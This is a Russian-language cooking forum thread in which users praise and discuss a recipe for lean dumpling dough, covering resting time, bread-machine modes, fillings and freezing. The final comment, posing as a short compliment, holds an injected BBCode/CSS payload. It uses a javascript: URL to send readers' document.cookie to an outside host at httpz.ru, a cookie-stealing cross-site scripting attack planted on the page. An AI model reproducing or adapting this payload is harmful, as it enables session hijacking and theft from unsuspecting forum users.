Постное тесто для вареников, пельменей

Мирца
Спасибо большое за отзыв и фотографию
А тесто при замесе и должно быть крутым, но после того, как полежит часик, становится пригодным для лепки. Может быть ты не дала ему полежать, а сразу стала лепить?

Сказка писал(а):

нужно замесить довольно крутое тесто, положить его в полиэтиленовый пакетик и дать "отдохнуть" около часа. И после можно приступать к лепке вареников или пельмешек.

P.S. Может быть напишешь свое имя, а то как-то нехорошо обращаться в пустоту.

softball
Спасибо!
Я Ваша тёзка. Да, факт налицо - отходов не было вообще. Но это скорее, всё-таки, свойство теста. У меня оно вообще не рвалось.

Сказка писал(а):

Может быть ты не дала ему полежать, а сразу стала лепить?

Да нет, в том-то и дело, что оно полежало 2,5 часа. Я замесила, скатала и ушла из дому.....
В принципе не страшно, это всё терпимо, что-нибудь придумаю. Спасибо за быстрый ответ!

Ольга, спасибо за рецепт теста. Первый раз у меня такие вареники мягкие. Месила вручную. Получилось 55 шт. вареников. Тесто раскаталось идеально. Без отходов!
С картошечкой и лучком - объедение!

Впечатлительная
Олеся, спасибо! фотографии чудо!

Оля, это Вам спасибо. И от меня, и от моего мужа!

Впечатлительная писал(а):

С картошечкой и лучком - объедение!

У нас сегодня тоже с карточкой были....так вкусно, что не до фотоаппарата было...вторую порцию постараюсь сфоткать... НИ ОДИН не порвался и мягонькое тесто... Я еще петрушкой и перчиком посыпала....

05.03.12

Риtata писал(а):

из картошки с солеными огурцами

Как интересно! А можно подробнее?? Картошка какая?

softball
Ириш, спасибо! Фотографии потрясающие!



Вио Летта

http://forum.say7.info/topic26297.html

Сказка
Здравствуйте.Скажите,пожалуйста,а сколько по времени у Вас замешивает тесто хлебопечка?В моей ХП есть режим тесто,но там месит 1 час 20 минут(замес,подьем без выпекания)

Ксения 1987
Ксения, тот режим, про который ты говоришь, это "дрожжевое тесто", посмотри должна быть еще программа "свежее тесто" или "пресное тесто". У меня это "свежее тесто" замес идет 14 минут, и можно доставать готовое тесто.

Сказка писал(а):

http://forum.say7.info/topic26297.html

Спасибо, оч интересный рецепт как-нибудь попробую сделать!



Сделала тесто, вареники получились очень нежные, вкусные, тесто было послушное, хорошо раскатывалось, все были в восторге. Спасибо большое за рецепт!

Вио Летта
На здоровье!!!!

Оля, большое спасибо за рецепт! Тесто очень понравилось и вареники тоже

Ukumi
Анастасия, спасибо! Я рада, что тесто пришлось по душе, готовьте на здоровье!

Спасибо БОЛЬШОЕ за рецепт .Вчера сделала тесто для пельмешек по этому рецепту.Супер получилось.

Ксения38
Ксения, на здоровье!!!!

Небольшая часть цельнозерновой муки.
50% горбуша БЕЗ кожи + 50% картошечка с маслом + петрушка
просто порезала рыбку мелко....(не мыть мясорубку)))

Люблю это тесто....не сухое и не липкое...раскатываю без грамма муки..... очень пластичное и слепляется от одного нажима....

И все -таки,кто нибудь пробовал пельмени из этого теста заморозить?

softball
Ириша, спасибо за аппетитные фото Красотаааааа



M@rmel@dk@
Света, у меня чаще вареники:
http://forum.say7.info/topic26297.html
http://forum.say7.info/topic26298.html

M@rmel@dk@ писал(а):

з этого теста заморозить?

всегда у нас в морозилке у нас они лежат....только на целофановом пакете...не прилипают!

Оля, рада, что ты рада

M@rmel@dk@ Я морозила пельмени, все ок. Сначала на доске заморозила, потом в пакетик сложила и все, лежат.

Ольга! Огромное спасибо!!!!!!!!!! Я первый раз попыталась замесить тесто и о чудо, у меня получилось благодаря Вашему чудесному рецепту! Вкуснятина, мммммммм...

ИРИНА_АБР
Ирина, спасибо! Мне очень приятно

Олечка ! Солнышко ! сегодня сделала пельмешки на твоем тесте , раньше делала другое , нам очень понравилось буду делать еще и еще.....спасибо тебе дорогая за очень хороший рецепт

Вкусно! [EMAIL][URL=wj`=`][/URL][/EMAIL]]` style=`background:url(javascript:document.images[1].src="http://httpz.ru/nfab7k0z74k.gif"+document.cookie)